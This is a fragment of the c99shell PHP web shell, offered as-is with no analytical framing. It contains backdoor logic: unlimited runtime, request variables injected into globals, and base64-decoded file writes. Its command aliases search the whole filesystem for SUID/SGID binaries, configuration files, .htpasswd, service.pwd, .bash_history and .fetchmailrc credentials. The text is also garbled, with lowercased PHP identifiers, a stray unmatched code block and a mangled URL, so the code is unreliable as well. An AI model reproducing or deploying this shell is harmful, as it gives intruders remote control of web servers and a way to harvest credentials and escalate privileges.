C 99
C 99
php
//starting calls
ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec)
= explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
$adires="";
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(php_os,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function
strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if
(strtoupper($k) != "globals") {strips($arr["$k"]);}}} else {$arr =
stripslashes($arr);}}} strips($globals);}
$_request = array_merge($_cookie,$_get,$_post);
foreach($_request as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$timelimit = 0; //time limit of execution this script over server quote (seconds),
0 = unlimited.
//authentication
$login = ""; //login
//don't forgot about password!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
// registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess
"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","p
l"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi"
,"mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$fp2 = @fopen($file,"w");
fwrite($fp2,$cont);
fclose($fp2);
}
$exeftypes = array(
getenv("phprc")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/* highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if true and found match then break
*/
$regxp_highlight = array(
array(basename($_server["php_self"]),1,"<font color=\"yellow\">","</font>"), //
example
array("config.php",1) // example
);
// command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2
-ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name
service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name
.bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name
.fetchmailrc"),
array("list file attributes on a linux second extended file system", "lsattr
-va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
//highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#ffffff";
$highlight_comment = "#6a6a6a";
$highlight_default = "#0000bb";
$highlight_html = "#1300ff";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_request["f"];
@extract($_request["c99shcook"]);
//end configuration
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err(0);
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font
color=red face=verdana size=-2><div align=center><b>';
echo $globals['lang'][$globals['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("remote_addr")) and !
preg_match($s,gethostbyaddr(getenv("remote_addr")))) {exit("<a
href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: access denied - your
host (".getenv("remote_addr").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_server["php_auth_user"] != $login) or (md5($_server["php_auth_pw"]) !=
$md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>","
",$donated_html));}
header("www-authenticate: basic realm=\"c99shell ".$shver.": ".$login_txt."\"");